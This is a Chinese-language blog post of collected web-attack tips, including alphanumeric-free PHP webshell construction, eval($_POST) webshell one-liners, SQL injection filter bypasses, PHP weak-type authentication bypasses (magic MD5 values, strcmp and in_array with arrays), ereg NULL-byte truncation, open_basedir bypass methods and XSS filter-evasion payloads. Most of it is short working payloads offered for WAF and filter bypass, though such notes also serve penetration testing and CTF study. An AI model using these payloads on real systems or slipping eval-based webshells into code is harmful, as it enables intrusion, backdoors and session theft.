PHP&XSS的一些小tips

最近搜集的一些,PHP过waf webshell,弱类型,openbasedir,XSS绕过的一些小tips,欢迎大牛纠错。-\-

无字母数字webshell构造

1
2
3
4
5
6
7
8
9
10
11
12
PHP TRUE == 1 FALSE == 0 TRUE + TRUE == 2
异或:' ! '^' ` ' == 'A'
取反:~('和'{2}) == 's'
PHP 自增:仅允许字母字符自增
'a'++ == 'b';
'z'++ == 'aa';
php 5.3
' '.[] == 'Array'
'Array'{0} === 'A'
'Array'{3} === 'a'
' ' == 0
$_=' '.[]; $_{' '}==='A';

渗透测试小tips

  • 魔术引号不过滤$_SERVER[]字段,造成注入
  • mysql的类型强制转换可绕过PHP中empty()函数对0的false返回

    1
    提交/?test=0axxx -> empty($_GET['test']) => 返回真
  • 当可控变量进入双引号中时可形成webshell

    1
    2
    $a = "${@eval($_POST[s])}";
    $a = "${${eval($_POST[s])}}";
  • 过滤了空格,逗号的注入,可使用括号包裹绕过

    1
    2
    select(location)from(website);
    select{x(name)}from{x(manager)};
  • 由于PHP弱类型验证机制,导致==in_array()等可通过强制转换绕过验证。

    1
    2
    in_array($_GET['x'],array(1,2,3,4,5))
    访问?test=’1’testtest可判断成功
  • windows特性

    1
    windows下php中访问文件名使用”< “>”将会被替换成”*” “?”,分别代表N个任意字符与1个任意字符
  • 变量覆盖

    1
    2
    $GLOBALS,$_SERVER,$_GET,$_POST,$_COOKIE,$_REQUEST,$_FILES,$_ENV,$_SESSION
    parse_str(),mb_parse_str(),import_request_variables(),extract()

PHP的强制类型转换的原则

  1. 对于数学运算,字符串转换为数值
  2. 对于字符串运算,数值转换为字符串

    PHP弱类型

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    == 只检查值,不检查类型
    === 既检查值,又检查类型
    NULL,0,”0”,array()使用==和false比较时,都是会返回true的,而使用===却不会
    123abc == 123 —> true
    0 == 'abc' —> true
    '0e132456789'=='0e7124511451155' —>true
    240610708、QNKCDZO、aabg7XSs、aabC9RqS的MD5相同
    intval()函数:string转int
    intval('0x1e240')=='123456' //true
    intval('0x1e240')==123456 //true
    intval('0x1e240')=='1e240' //false
    当其中的一个字符串是0x开头的时候,ox开头表示16进制,PHP会将此字符串解析成为十进制然后再进行比较,
    0×1e240解析成为十进制就是123456,所以与int类型和string类型的123456比较都是相等
    对数组进行MD5,sha1等hash运算时,结果都为NULL
    md5(name[] = 1) == md5(password[]= 2) —>NULL == NULL —>true
    strcmp
    strcmp(string $str1,string $str2 )
    如果str1小于str2,返回-1,相等返回0,否则返回1
    strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算,然后根据运算结果来决定返回值。
    如果传入的参数为数字或数组,再和字符串做strcmp,就会返回NULL
    strcmp($array,'123') == 0
    当array为数字或者数组时,等式等于true
    $array=[1,2,3] —> strcmp([1,2,3] ,'123') —> NULL —>NULL == 0
    in_array():函数搜索数组中是否存在指定的值
    $array=(0,1,2,'3')
    in_array('abc', $array) —> 'abc' —> 0 —> 0 == array[0] —> true
    $array=(0,1,2,3)
    in_array($search, $array)
    当传入$search = 1'aaaaaaaa 结果为true
    in_array($search, $array) —> 1'aaaaaaaa —> 1 —> 1 == array[1] —> true
    注:in_array 有第三个参数
    in_array(’5\’ union select’, array(1, 5, 3, 2), true) —> false
    ereg
    ereg(string pattern, string string, array [regs])
    字符串对比解析,以 pattern 的规则来解析比对字符串 string。比对结果返回的值放在数组参数 regs 之中,
    regs[0] 内容就是原字符串 string、regs[1] 为第一个合乎规则的字符串、regs[2] 就是第二个合乎规则的字符串,余类推。
    若省略参数 regs,则只是单纯地比对,找到则返回值为 true。
    ereg函数存在NULL截断漏洞,当ereg读取字符串string时,如果遇到了%00,后面的字符串就不会被解析
    $ip = "192.168.2.11".chr(0)."haha";
    if(ereg("^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$",$ip)) {
    echo $ip;
    } else {
    echo "unknown";
    }
    输出:192.168.2.11haha
    注:结合ereg处理$ _SERVER的情况

绕过open_basedir

1
2
3
4
5
利用DirectoryIterator + Glob 直接列举目录
realpath列举目录
SplFileInfo::getRealPath列举目录
GD库imageftbbox/imagefttext列举目录
bindtextdomain暴力猜解目录

XSS绕过

1
2
3
4
5
6
7
8
9
. 可以用 with
onerror 可以用 onblur oncut
window 可以用 top parent self
al%00ert
``
\x0A\x0D 可以用 \x2028\x2029
base64解码函数atob()
"oncut=_=window;_.onerror=_["al"+"ert"];throw[1]
"oncut=location="javascript:aler"+"t%"+"281%"+"29
大爷,赏个铜板呗!